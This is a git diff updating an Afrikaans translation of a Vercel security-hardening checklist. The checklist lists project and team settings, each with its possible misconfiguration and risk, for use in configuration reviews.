-3. Afhangende van jou opstelling, wil jy dalk sommige van die komponente op jou eie ontplooi en konfigureer, bv. RabbitMQ - sien die [Instelling van Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) vir meer besonderhede.
+3. Afhangende van jou opstelling, wil jy dalk sommige van die komponente op jou eie ontplooi en configureer, bv. RabbitMQ - sien die [Instelling van Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) vir meer besonderhede.
**TCI Werker vereis die volgende:**
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 23d655946..f2d1ad04f 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -2,433 +2,436 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
+In Vercel is 'n **Span** die volledige **omgewing** wat aan 'n kliënt behoort en 'n **projek** is 'n **aansoek**.
-For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
+Vir 'n verhardingshersiening van **Vercel** moet jy vra vir 'n gebruiker met **Kykersroltoestemming** of ten minste **Projekkyker toestemming oor die projekte** om te kontroleer (in geval jy net die projekte en nie die Span konfigurasie ook hoef te kontroleer nie).
-## Project Settings
+## Projekinstellings
-### General
+### Algemeen
-**Purpose:** Bestuur fundamentele projekinstellings soos projeknaam, raamwerk, en boukonfigurasies.
+**Doel:** Bestuur fundamentele projekinstellings soos projeknaam, raamwerk, en boukonfigurasies.
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-- **Transfer**
-- **Misconfiguration:** Laat toe om die projek na 'n ander span oor te dra
-- **Risk:** 'n Aanvaller kan die projek steel
-- **Delete Project**
-- **Misconfiguration:** Laat toe om die projek te verwyder
-- **Risk:** Verwyder die projek
+- **Oordrag**
+- **Misconfigurasie:** Laat toe om die projek na 'n ander span oor te dra
+- **Risiko:** 'n Aanvaller kan die projek steel
+- **Verwyder Projek**
+- **Misconfigurasie:** Laat toe om die projek te verwyder
+- **Risiko:** Verwyder die projek
---
-### Domains
+### Domeine
-**Purpose:** Bestuur pasgemaakte domeine, DNS-instellings, en SSL-konfigurasies.
+**Doel:** Bestuur pasgemaakte domeine, DNS-instellings, en SSL-konfigurasies.
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-- **DNS Configuration Errors**
-- **Misconfiguration:** Onakkurate DNS rekords (A, CNAME) wat na kwaadwillige bedieners wys.
-- **Risk:** Domein kaap, verkeersafluistering, en phishing-aanvalle.
-- **SSL/TLS Certificate Management**
-- **Misconfiguration:** Gebruik van swak of vervalde SSL/TLS sertifikate.
-- **Risk:** Kwetsbaar vir man-in-the-middle (MITM) aanvalle, wat data-integriteit en vertroulikheid in gevaar stel.
-- **DNSSEC Implementation**
-- **Misconfiguration:** Versuim om DNSSEC in te skakel of onakkurate DNSSEC-instellings.
-- **Risk:** Verhoogde kwesbaarheid vir DNS spoofing en cache vergiftiging aanvalle.
-- **Environment used per domain**
-- **Misconfiguration:** Verander die omgewing wat deur die domein in produksie gebruik word.
-- **Risk:** Stel potensiële geheime of funksies bloot wat nie in produksie beskikbaar moet wees nie.
+- **DNS Konfigurasiefoute**
+- **Misconfigurasie:** Onkorrekte DNS rekords (A, CNAME) wat na kwaadwillige bedieners wys.
+- **Risiko:** Domein kaap, verkeersafluistering, en phishing-aanvalle.
+- **SSL/TLS Sertifikaatbestuur**
+- **Misconfigurasie:** Gebruik van swak of vervalde SSL/TLS sertifikate.
+- **Risiko:** Kwetsbaar vir man-in-the-middle (MITM) aanvalle, wat data integriteit en vertroulikheid in gevaar stel.
+- **DNSSEC Implementasie**
+- **Misconfigurasie:** Versuim om DNSSEC in te skakel of onkorrekte DNSSEC instellings.
+- **Risiko:** Verhoogde vatbaarheid vir DNS spoofing en cache vergiftiging aanvalle.
+- **Omgewing gebruik per domein**
+- **Misconfigurasie:** Verander die omgewing wat deur die domein in produksie gebruik word.
+- **Risiko:** Stel potensiële geheime of funksies bloot wat nie in produksie beskikbaar moet wees nie.
---
-### Environments
+### Omgewings
-**Purpose:** Definieer verskillende omgewings (Ontwikkeling, Voorbeeld, Produksie) met spesifieke instellings en veranderlikes.
+**Doel:** Definieer verskillende omgewings (Ontwikkeling, Voorbeeld, Produksie) met spesifieke instellings en veranderlikes.
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-- **Environment Isolation**
-- **Misconfiguration:** Deel omgewing veranderlikes oor omgewings.
-- **Risk:** Lek van produksie geheime in ontwikkeling of voorbeeld omgewings, wat blootstelling verhoog.
-- **Access to Sensitive Environments**
-- **Misconfiguration:** Laat breë toegang tot produksie omgewings toe.
-- **Risk:** Ongeoorloofde veranderinge of toegang tot lewendige toepassings, wat tot potensiële stilstand of datalekke kan lei.
+- **Omgewing Isolasie**
+- **Misconfigurasie:** Deel omgewing veranderlikes oor omgewings.
+- **Risiko:** Lek van produksie geheime in ontwikkeling of voorbeeld omgewings, wat blootstelling verhoog.
+- **Toegang tot Sensitiewe Omgewings**
+- **Misconfigurasie:** Laat breë toegang tot produksie omgewings toe.
+- **Risiko:** Ongeoorloofde veranderinge of toegang tot lewende aansoeke, wat kan lei tot potensiële stilstand of datalekke.
---
-### Environment Variables
+### Omgewing Veranderlikes
-**Purpose:** Bestuur omgewing-spesifieke veranderlikes en geheime wat deur die toepassing gebruik word.
+**Doel:** Bestuur omgewing-spesifieke veranderlikes en geheime wat deur die aansoek gebruik word.
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-- **Exposing Sensitive Variables**
-- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
-- **Risk:** Blootstelling van API sleutels, databasis akrediteer, of ander sensitiewe data aan die publiek, wat tot datalekke lei.
-- **Sensitive disabled**
-- **Misconfiguration:** As gedeaktiveer (standaard) is dit moontlik om die waardes van die gegenereerde geheime te lees.
-- **Risk:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting.
+- **Blootstelling van Sensitiewe Veranderlikes**
+- **Misconfigurasie:** Voorafgaande sensitiewe veranderlikes met `NEXT_PUBLIC_`, wat hulle op die kliëntkant toeganklik maak.
+- **Risiko:** Blootstelling van API sleutels, databasis akrediteer, of ander sensitiewe data aan die publiek, wat kan lei tot datalekke.
+- **Sensitiewe gedeaktiveer**
+- **Misconfigurasie:** As gedeaktiveer (standaard) is dit moontlik om die waardes van die gegenereerde geheime te lees.
+- **Risiko:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting.
+- **Gedeelde Omgewing Veranderlikes**
+- **Misconfigurasie:** Dit is omgewing veranderlikes wat op Span vlak gestel is en kan ook sensitiewe inligting bevat.
+- **Risiko:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting.
---
### Git
-**Purpose:** Konfigureer Git-repository integrasies, tak beskermings, en ontplooiing triggers.
+**Doel:** Konfigureer Git-repo integrasies, tak beskermings, en ontplooiing triggers.
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-- **Ignored Build Step (TODO)**
-- **Misconfiguration:** Dit lyk of hierdie opsie toelaat om 'n bash skrip/opdragte te konfigureer wat uitgevoer sal word wanneer 'n nuwe verbintenis in Github gepush word, wat RCE kan toelaat.
-- **Risk:** TBD
+- **Ignorerende Bou Stap (TODO)**
+- **Misconfigurasie:** Dit lyk of hierdie opsie toelaat om 'n bash skrip/kommando's te konfigureer wat uitgevoer sal word wanneer 'n nuwe verbintenis in Github gepush word, wat RCE kan toelaat.
+- **Risiko:** TBD
---
-### Integrations
+### Integrasies
-**Purpose:** Koppel derdeparty dienste en gereedskap om projek funksionaliteit te verbeter.
+**Doel:** Koppel derdeparty dienste en gereedskap om projek funksionaliteit te verbeter.
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-- **Insecure Third-Party Integrations**
-- **Misconfiguration:** Integrasie met onbetroubare of onveilige derdeparty dienste.
-- **Risk:** Invoering van kwesbaarhede, datalekke, of agterdeure deur gekompromitteerde integrasies.
-- **Over-Permissioned Integrations**
-- **Misconfiguration:** Te veel toestemmings aan geïntegreerde dienste toeken.
-- **Risk:** Ongeoorloofde toegang tot projek hulpbronne, data manipulasie, of diensonderbrekings.
-- **Lack of Integration Monitoring**
-- **Misconfiguration:** Versuim om derdeparty integrasies te monitor en te oudit.
-- **Risk:** Vertraagde opsporing van gekompromitteerde integrasies, wat die potensiële impak van sekuriteitsbreuke verhoog.
+- **Onveilige Derdeparty Integrasies**
+- **Misconfigurasie:** Integrasie met onbetroubare of onveilige derdeparty dienste.
+- **Risiko:** Invoering van kwesbaarhede, datalekke, of agterdeure deur gekompromitteerde integrasies.
+- **Oor-Toestemming Integrasies**
+- **Misconfigurasie:** Toekenning van oortollige toestemmings aan geïntegreerde dienste.
+- **Risiko:** Ongeoorloofde toegang tot projek hulpbronne, data manipulasie, of diensonderbrekings.
+- **Gebrek aan Integrasie Monitering**
+- **Misconfigurasie:** Versuim om derdeparty integrasies te monitor en te oudit.
+- **Risiko:** Vertraagde opsporing van gekompromitteerde integrasies, wat die potensiële impak van sekuriteitsbreuke verhoog.
---
-### Deployment Protection
+### Ontplooiing Beskerming
-**Purpose:** Beveilig ontplooiings deur verskeie beskermingsmeganismes, wat beheer wie toegang kan hê en ontplooiing na jou omgewings kan doen.
+**Doel:** Beveilig ontplooiings deur verskeie beskermingsmeganismes, wat beheer wie toegang kan hê en ontplooiing na jou omgewings kan doen.
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-**Vercel Authentication**
+**Vercel Verifikasie**
-- **Misconfiguration:** Deaktiveer autentisering of nie afdwing van spanlid kontroles nie.
-- **Risk:** Ongeoorloofde gebruikers kan toegang tot ontplooiings verkry, wat tot datalekke of toepassingsmisbruik kan lei.
+- **Misconfigurasie:** Deaktiveer verifikasie of nie afdwing van spanlid kontroles nie.
+- **Risiko:** Ongeoorloofde gebruikers kan toegang tot ontplooiings verkry, wat kan lei tot datalekke of aansoek misbruik.
-**Protection Bypass for Automation**
+**Beskerming Bypass vir Automatisering**
-- **Misconfiguration:** Blootstelling van die omseil geheime publiek of gebruik van swak geheime.
-- **Risk:** Aanvallers kan ontplooiing beskermings omseil, toegang tot en manipulasie van beskermde ontplooiings verkry.
+- **Misconfigurasie:** Blootstelling van die bypass geheim publiek of gebruik van swak geheime.
+- **Risiko:** Aanvallers kan ontplooiing beskermings omseil, toegang tot en manipulasie van beskermde ontplooiings.
-**Shareable Links**
+**Deelbare Skakels**
-- **Misconfiguration:** Deel skakels sonder onderskeid of versuim om verouderde skakels in te trek.
-- **Risk:** Ongeoorloofde toegang tot beskermde ontplooiings, wat autentisering en IP-beperkings omseil.
+- **Misconfigurasie:** Deel skakels onverskillig of versuim om verouderde skakels te herroep.
+- **Risiko:** Ongeoorloofde toegang tot beskermde ontplooiings, wat verifikasie en IP beperkings omseil.
-**OPTIONS Allowlist**
+**OPTIONS Toegestaanlys**
-- **Misconfiguration:** Laat te breë paaie of sensitiewe eindpunte toe.
-- **Risk:** Aanvallers kan onbeskermde paaie benut om ongeoorloofde aksies uit te voer of sekuriteitskontroles om te se.
+- **Misconfigurasie:** Toegestaanlys oor-brede paaie of sensitiewe eindpunte.
+- **Risiko:** Aanvallers kan onbeskermde paaie benut om ongeoorloofde aksies uit te voer of sekuriteitskontroles te omseil.
-**Password Protection**
+**Wagwoord Beskerming**
-- **Misconfiguration:** Gebruik van swak wagwoorde of om dit onveilig te deel.
-- **Risk:** Ongeoorloofde toegang tot ontplooiings as wagwoorde geraai of gelekt word.
-- **Note:** Beskikbaar op die **Pro** plan as deel van **Advanced Deployment Protection** vir 'n addisionele $150/maand.
+- **Misconfigurasie:** Gebruik van swak wagwoorde of om dit onveilig te deel.
+- **Risiko:** Ongeoorloofde toegang tot ontplooiings as wagwoorde geraai of gelekt word.
+- **Nota:** Beskikbaar op die **Pro** plan as deel van **Gevorderde Ontplooiing Beskerming** vir 'n addisionele $150/maand.
-**Deployment Protection Exceptions**
+**Ontplooiing Beskerming Uitsonderings**
-- **Misconfiguration:** Voeg produksie of sensitiewe domeine per ongeluk by die uitsonderingslys.
-- **Risk:** Blootstelling van kritieke ontplooiings aan die publiek, wat tot datalekke of ongeoorloofde toegang kan lei.
-- **Note:** Beskikbaar op die **Pro** plan as deel van **Advanced Deployment Protection** vir 'n addisionele $150/maand.
+- **Misconfigurasie:** Voeg produksie of sensitiewe domeine per ongeluk by die uitsonderingslys.
+- **Risiko:** Blootstelling van kritieke ontplooiings aan die publiek, wat kan lei tot datalekke of ongeoorloofde toegang.
+- **Nota:** Beskikbaar op die **Pro** plan as deel van **Gevorderde Ontplooiing Beskerming** vir 'n addisionele $150/maand.
-**Trusted IPs**
+**Betroubare IP's**
-- **Misconfiguration:** Onakkuraat spesifisering van IP adresse of CIDR reekse.
-- **Risk:** Legitieme gebruikers wat geblokkeer word of ongeoorloofde IPs wat toegang verkry.
-- **Note:** Beskikbaar op die **Enterprise** plan.
+- **Misconfigurasie:** Onkorrek spesifisering van IP adresse of CIDR reekse.
+- **Risiko:** Legitieme gebruikers wat geblokkeer word of ongeoorloofde IP's wat toegang verkry.
+- **Nota:** Beskikbaar op die **Enterprise** plan.
---
-### Functions
+### Funksies
-**Purpose:** Konfigureer serverless funksies, insluitend runtime instellings, geheue toewysing, en sekuriteitsbeleide.
+**Doel:** Konfigureer serverless funksies, insluitend runtime instellings, geheue toewysing, en sekuriteitsbeleide.
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-- **Nothing**
+- **Niks**
---
### Data Cache
-**Purpose:** Bestuur caching strategieë en instellings om prestasie te optimaliseer en data berging te beheer.
+**Doel:** Bestuur caching strategieë en instellings om prestasie te optimaliseer en data berging te beheer.
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
- **Purge Cache**
-- **Misconfiguration:** Dit laat toe om al die cache te verwyder.
-- **Risk:** Ongeoorloofde gebruikers wat die cache verwyder, wat tot 'n potensiële DoS kan lei.
+- **Misconfigurasie:** Dit laat toe om al die cache te verwyder.
+- **Risiko:** Ongeoorloofde gebruikers wat die cache verwyder wat kan lei tot 'n potensiële DoS.
---
### Cron Jobs
-**Purpose:** Skeduleer geoutomatiseerde take en skripte om op spesifieke tydperke te loop.
+**Doel:** Skeduleer geoutomatiseerde take en skripte om op spesifieke tydperke te loop.
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-- **Disable Cron Job**
-- **Misconfiguration:** Dit laat toe om cron jobs wat in die kode verklaar is, te deaktiveer.
-- **Risk:** Potensiële onderbreking van die diens (afhangende van waarvoor die cron jobs bedoel was)
+- **Deaktiveer Cron Job**
+- **Misconfigurasie:** Dit laat toe om cron jobs wat in die kode verklaar is te deaktiveer.
+- **Risiko:** Potensiële onderbreking van die diens (afhangende van waarvoor die cron jobs bedoel was)
---
### Log Drains
-**Purpose:** Konfigureer eksterne logging dienste om toepassingslogs te vang en te stoor vir monitering en oudit.
+**Doel:** Konfigureer eksterne logging dienste om aansoek logs te vang en te stoor vir monitering en oudit.
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
- Niks (bestuur vanaf spaninstellings)
---
-### Security
+### Sekuriteit
-**Purpose:** Sentraal hub vir verskeie sekuriteitsverwante instellings wat projek toegang, bron beskerming, en meer beïnvloed.
+**Doel:** Sentraal hub vir verskeie sekuriteitsverwante instellings wat projek toegang, bron beskerming, en meer beïnvloed.
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-**Build Logs and Source Protection**
+**Bou Logs en Bron Beskerming**
-- **Misconfiguration:** Deaktiveer beskerming of blootstelling van `/logs` en `/src` paaie publiek.
-- **Risk:** Ongeoorloofde toegang tot boulogs en bronkode, wat tot inligtinglekke en potensiële uitbuiting van kwesbaarhede kan lei.
+- **Misconfigurasie:** Deaktiveer beskerming of blootstelling van `/logs` en `/src` paaie publiek.
+- **Risiko:** Ongeoorloofde toegang tot bou logs en bronkode, wat kan lei tot inligting lekke en potensiële uitbuiting van kwesbaarhede.
-**Git Fork Protection**
+**Git Fork Beskerming**
-- **Misconfiguration:** Laat ongeoorloofde pull versoeke toe sonder behoorlike hersienings.
-- **Risk:** Kwaadwillige kode kan in die kodebasis saamgevoeg word, wat kwesbaarhede of agterdeure inbring.
+- **Misconfigurasie:** Laat ongeoorloofde pull versoeke toe sonder behoorlike hersienings.
+- **Risiko:** Kwaadwillige kode kan in die kodebasis saamgevoeg word, wat kwesbaarhede of agterdeure inbring.
-**Secure Backend Access with OIDC Federation**
+**Veilige Agtergrond Toegang met OIDC Federasie**
-- **Misconfiguration:** Onakkurate opstelling van OIDC parameters of gebruik van onveilige issuer URL's.
-- **Risk:** Ongeoorloofde toegang tot agtergrond dienste deur gebrekkige autentisering vloei.
+- **Misconfigurasie:** Onkorrek opstel van OIDC parameters of gebruik van onveilige issuer URL's.
+- **Risiko:** Ongeoorloofde toegang tot agtergrond dienste deur gebrekkige verifikasievloei.
-**Deployment Retention Policy**
+**Ontplooiing Bewaringsbeleid**
-- **Misconfiguration:** Stel retensieperiodes te kort (verlies van ontplooiing geskiedenis) of te lank (onnodige data retensie).
-- **Risk:** Onvermoë om terug te rol wanneer nodig of verhoogde risiko van datablootstelling van ou ontplooiings.
+- **Misconfigurasie:** Stel bewaring periodes te kort (verlies van ontplooiing geskiedenis) of te lank (onnodige data bewaring).
+- **Risiko:** Onvermoë om terug te rol wanneer nodig of verhoogde risiko van data blootstelling van ou ontplooiings.
-**Recently Deleted Deployments**
+**Onlangs Verwyderde Ontplooiings**
-- **Misconfiguration:** Nie monitering van verwyderde ontplooiings of slegs op outomatiese verwyderings vertrou nie.
-- **Risk:** Verlies van kritieke ontplooiing geskiedenis, wat oudit en terugrols bemoeilik.
+- **Misconfigurasie:** Nie monitering van verwyderde ontplooiings of slegs op outomatiese verwyderings staatmaak nie.
+- **Risiko:** Verlies van kritieke ontplooiing geskiedenis, wat oudit en terugrols bemoeilik.
---
-### Advanced
+### Gevorderd
-**Purpose:** Toegang tot addisionele projekinstellings vir fyninstelling van konfigurasies en verbetering van sekuriteit.
+**Doel:** Toegang tot addisionele projekinstellings vir fyninstelling van konfigurasies en verbetering van sekuriteit.
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-**Directory Listing**
+**Gidslys**
-- **Misconfiguration:** Aktivering van gidslys laat gebruikers toe om gidsinhoud te sien sonder 'n indekslêer.
-- **Risk:** Blootstelling van sensitiewe lêers, toepassingsstruktuur, en potensiële toegangspunte vir aanvalle.
+- **Misconfigurasie:** Aktivering van gidslys laat gebruikers toe om gidsinhoud te sien sonder 'n indekslêer.
+- **Risiko:** Blootstelling van sensitiewe lêers, aansoekstruktuur, en potensiële toegangspunte vir aanvalle.
---
-## Project Firewall
+## Projek Vuurmuur
-### Firewall
+### Vuurmuur
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-**Enable Attack Challenge Mode**
+**Aktiveer Aanval Uitdaag Modus**
-- **Misconfiguration:** Aktivering hiervan verbeter die verdediging van die webtoepassing teen DoS, maar ten koste van bruikbaarheid.
-- **Risk:** Potensiële gebruikerservaring probleme.
+- **Misconfigurasie:** Aktivering hiervan verbeter die verdediging van die webtoepassing teen DoS, maar ten koste van bruikbaarheid.
+- **Risiko:** Potensiële gebruikerservaring probleme.
-### Custom Rules & IP Blocking
+### Pasgemaakte Reëls & IP Blokkering
-- **Misconfiguration:** Laat toe om verkeer te ontbloek/blokkeer.
-- **Risk:** Potensiële DoS wat kwaadwillige verkeer toelaat of goedaardige verkeer blokkeer.
+- **Misconfigurasie:** Laat toe om verkeer te ontblokkeer/blokkeer.
+- **Risiko:** Potensiële DoS wat kwaadwillige verkeer toelaat of goedaardige verkeer blokkeer.
---
-## Project Deployment
+## Projek Ontplooiing
-### Source
+### Bron
-- **Misconfiguration:** Laat toegang toe om die volledige bronkode van die toepassing te lees.
-- **Risk:** Potensiële blootstelling van sensitiewe inligting.
+- **Misconfigurasie:** Laat toegang toe om die volledige bronkode van die aansoek te lees.
+- **Risiko:** Potensiële blootstelling van sensitiewe inligting.
-### Skew Protection
+### Skew Beskerming
-- **Misconfiguration:** Hierdie beskerming verseker dat die kliënt en bediener toepassing altyd dieselfde weergawe gebruik sodat daar geen desynchronisasies is waar die kliënt 'n ander weergawe as die bediener gebruik nie en daarom verstaan hulle mekaar nie.
-- **Risk:** Deaktivering hiervan (as geaktiveer) kan DoS probleme in nuwe ontplooiings in die toekoms veroorsaak.
+- **Misconfigurasie:** Hierdie beskerming verseker dat die kliënt en bediener aansoek altyd dieselfde weergawe gebruik sodat daar geen desynchronisasies is waar die kliënt 'n ander weergawe as die bediener gebruik nie en hulle dus nie mekaar verstaan nie.
+- **Risiko:** Deaktivering hiervan (as geaktiveer) kan DoS probleme in nuwe ontplooiings in die toekoms veroorsaak.
---
-## Team Settings
+## Span Instellings
-### General
+### Algemeen
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-- **Transfer**
-- **Misconfiguration:** Laat toe om al die projekte na 'n ander span oor te dra.
-- **Risk:** 'n Aanvaller kan die projekte steel.
-- **Delete Project**
-- **Misconfiguration:** Laat toe om die span met al die projekte te verwyder.
-- **Risk:** Verwyder die projekte.
+- **Oordrag**
+- **Misconfigurasie:** Laat toe om al die projekte na 'n ander span oor te dra.
+- **Risiko:** 'n Aanvaller kan die projekte steel.
+- **Verwyder Projek**
+- **Misconfigurasie:** Laat toe om die span met al die projekte te verwyder.
+- **Risiko:** Verwyder die projekte.
---
-### Billing
+### Fakturering
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-- **Speed Insights Cost Limit**
-- **Misconfiguration:** 'n Aanvaller kan hierdie nommer verhoog.
-- **Risk:** Verhoogde koste.
+- **Spoed Inligting Koste Limiet**
+- **Misconfigurasie:** 'n Aanvaller kan hierdie nommer verhoog.
+- **Risiko:** Verhoogde koste.
---
-### Members
+### Lede
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-- **Add members**
-- **Misconfiguration:** 'n Aanvaller kan volharding handhaaf deur 'n rekening wat hy beheer, uit te nooi.
-- **Risk:** Aanvaller volharding.
-- **Roles**
-- **Misconfiguration:** Te veel toestemmings aan mense wat dit nie nodig het nie, verhoog die risiko van die Vercel konfigurasie. Kontroleer al die moontlike rolle in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
-- **Risk**: Verhoog die blootstelling van die Vercel Span.
+- **Voeg lede by**
+- **Misconfigurasie:** 'n Aanvaller kan volharding handhaaf deur 'n rekening wat hy beheer uit te nooi.
+- **Risiko:** Aanvaller volharding.
+- **Rolle**
+- **Misconfigurasie:** Toekenning van te veel toestemmings aan mense wat dit nie nodig het nie verhoog die risiko van die Vercel konfigurasie. Kontroleer al die moontlike rolle in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
+- **Risiko**: Verhoog die blootstelling van die Vercel Span.
---
-### Access Groups
+### Toegangsgroepe
-An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
+'n **Toegangsgroep** in Vercel is 'n versameling van projekte en spanlede met vooraf gedefinieerde roltoewysings, wat sentraliseerde en gestroomlynde toegang bestuur oor verskeie projekte moontlik maak.
-**Potential Misconfigurations:**
+**Potensiële Misconfigurasies:**
-- **Over-Permissioning Members:** Toeken van rolle met meer toestemmings as wat nodig is, wat lei tot ongeoorloofde toegang of aksies.
-- **Improper Role Assignments:** Onakkurate toekenning van rolle wat nie ooreenstem met spanlede se verantwoordelikhede nie, wat privilige eskalasie veroorsaak.
-- **Lack of Project Segregation:** Versuim om sensitiewe projekte te skei, wat breër toegang toelaat as wat bedoel is.
-- **Insufficient Group Management:** Nie gereeld hersiening of opdatering van Toegangsgroepe nie, wat lei tot verouderde of onvanpaste toegangstoestemmings.
-- **Inconsistent Role Definitions:** Gebruik van inkonsekwente of onduidelike rol definisies oor verskillende Toegangsgroepe, wat lei tot verwarring en sekuriteitsgappe.
+- **Oor-Toestemming Lede:** Toekenning van rolle met meer toestemmings as wat nodig is, wat lei tot ongeoorloofde toegang of aksies.
+- **Onbehoorlike Roltoewysings:** Onkorrek toewys van rolle wat nie ooreenstem met spanlede se verantwoordelikhede nie, wat privilige eskalasie veroorsaak.
+- **Gebrek aan Projek Segregasie:** Versuim om sensitiewe projekte te skei, wat breër toegang toelaat as wat bedoel is.
+- **Onvoldoende Groep Bestuur:** Nie gereeld hersiening of opdatering van Toegangsgroepe nie, wat lei tot verouderde of onvanpaste toegangstoestemmings.
+- **Inkonsekwente Roldefinisies:** Gebruik van inkonsekwente of onduidelike roldefinisies oor verskillende Toegangsgroepe, wat lei tot verwarring en sekuriteitsgappe.
---
### Log Drains
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-- **Log Drains to third parties:**
-- **Misconfiguration:** 'n Aanvaller kan 'n Log Drain konfigureer om die logs te steel.
-- **Risk:** Gedeeltelike volharding.
+- **Log Drains na derde partye:**
+- **Misconfigurasie:** 'n Aanvaller kan 'n Log Drain konfigureer om die logs te steel.
+- **Risiko:** Gedeeltelike volharding.
---
-### Security & Privacy
+### Sekuriteit & Privaatheid
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-- **Team Email Domain:** Wanneer geconfigureer, nooi hierdie instelling outomaties Vercel Persoonlike Rekeninge met e-pos adresse wat eindig op die gespesifiseerde domein (bv. `mydomain.com`) is om jou span te sluit by registrasie en op die dashboard.
-- **Misconfiguration:**
+- **Span E-pos Domein:** Wanneer geconfigureer, nooi hierdie instelling outomaties Vercel Persoonlike Rekeninge met e-pos adresse wat eindig op die gespesifiseerde domein (bv. `mydomain.com`) is om jou span te sluit by registrasie en op die dashboard.
+- **Misconfigurasie:**\
- Spesifisering van die verkeerde e-pos domein of 'n verkeerd gespelde domein in die Span E-pos Domein instelling.
- Gebruik van 'n algemene e-pos domein (bv. `gmail.com`, `hotmail.com`) in plaas van 'n maatskappy-spesifieke domein.
-- **Risks:**
-- **Unauthorized Access:** Gebruikers met e-pos adresse van onbedoelde domeine mag uitnodigings ontvang om by jou span aan te sluit.
-- **Data Exposure:** Potensiële blootstelling van sensitiewe projekinligting aan ongeoorloofde individue.
-- **Protected Git Scopes:** Laat jou toe om tot 5 Git scopes aan jou span toe te voeg om te voorkom dat ander Vercel spanne repositories van die beskermde omvang ontplooi. Meerdere spanne kan dieselfde omvang spesifiseer, wat beide spanne toegang gee.
-- **Misconfiguration:** Nie kritieke Git scopes aan die beskermde lys toe te voeg nie.
-- **Risks:**
-- **Unauthorized Deployments:** Ander spanne mag repositories van jou organisasie se Git scopes sonder toestemming ontplooi.
-- **Intellectual Property Exposure:** Beskermde kode kan ontplooi en buite jou span toeganklik wees.
-- **Environment Variable Policies:** Handhaaf beleide vir die skepping en redigering van die span se omgewing veranderlikes. Spesifiek, jy kan afdwing dat alle omgewing veranderlikes geskep word as **Sensitive Environment Variables**, wat slegs deur Vercel se ontplooiingstelsel gedekodeer kan word.
-- **Misconfiguration:** Hou die afdwinging van sensitiewe omgewing veranderlikes gedeaktiveer.
-- **Risks:**
-- **Exposure of Secrets:** Omgewing veranderlikes mag deur ongeoorloofde spanlede gesien of gewysig word.
-- **Data Breach:** Sensitiewe inligting soos API sleutels en akrediteer kan gelekt word.
-- **Audit Log:** Verskaf 'n uitvoer van die span se aktiwiteit vir tot die laaste 90 dae. Ouudit logs help om aksies wat deur spanlede uitgevoer is, te monitor en op te spoor.
-- **Misconfiguration:**\
+- **Risiko's:**
+- **Ongeoorloofde Toegang:** Gebruikers met e-pos adresse van onbedoelde domeine mag uitnodigings ontvang om by jou span aan te sluit.
+- **Data Blootstelling:** Potensiële blootstelling van sensitiewe projekinligting aan ongeoorloofde individue.
+- **Beskermde Git Scopes:** Laat jou toe om tot 5 Git scopes aan jou span toe te voeg om te verhoed dat ander Vercel spanne repositoriums van die beskermde omvang ontplooi. Meerdere spanne kan dieselfde omvang spesifiseer, wat beide spanne toegang gee.
+- **Misconfigurasie:** Nie kritieke Git scopes aan die beskermde lys toe te voeg nie.
+- **Risiko's:**
+- **Ongeoorloofde Ontplooiings:** Ander spanne mag repositoriums van jou organisasie se Git scopes sonder toestemming ontplooi.
+- **Intellektuele Eiendom Blootstelling:** Beskermde kode kan ontplooi en buite jou span toeganklik wees.
+- **Omgewing Veranderlike Beleide:** Handhaaf beleide vir die skepping en redigering van die span se omgewing veranderlikes. Spesifiek kan jy afdwing dat alle omgewing veranderlikes geskep word as **Sensitiewe Omgewing Veranderlikes**, wat slegs deur Vercel se ontplooiingstelsel gedekodeer kan word.
+- **Misconfigurasie:** Hou die afdwinging van sensitiewe omgewing veranderlikes gedeaktiveer.
+- **Risiko's:**
+- **Blootstelling van Geheime:** Omgewing veranderlikes mag deur ongeoorloofde spanlede gesien of gewysig word.
+- **Data Lek:** Sensitiewe inligting soos API sleutels en akrediteer kan gelekt word.
+- **Oudit Log:** Verskaf 'n uitvoer van die span se aktiwiteit vir tot die laaste 90 dae. Oudit logs help om aksies wat deur spanlede uitgevoer is te monitor en op te spoor.
+- **Misconfigurasie:**\
Gee toegang tot oudit logs aan ongeoorloofde spanlede.
-- **Risks:**
-- **Privacy Violations:** Blootstelling van sensitiewe gebruikersaktiwiteite en data.
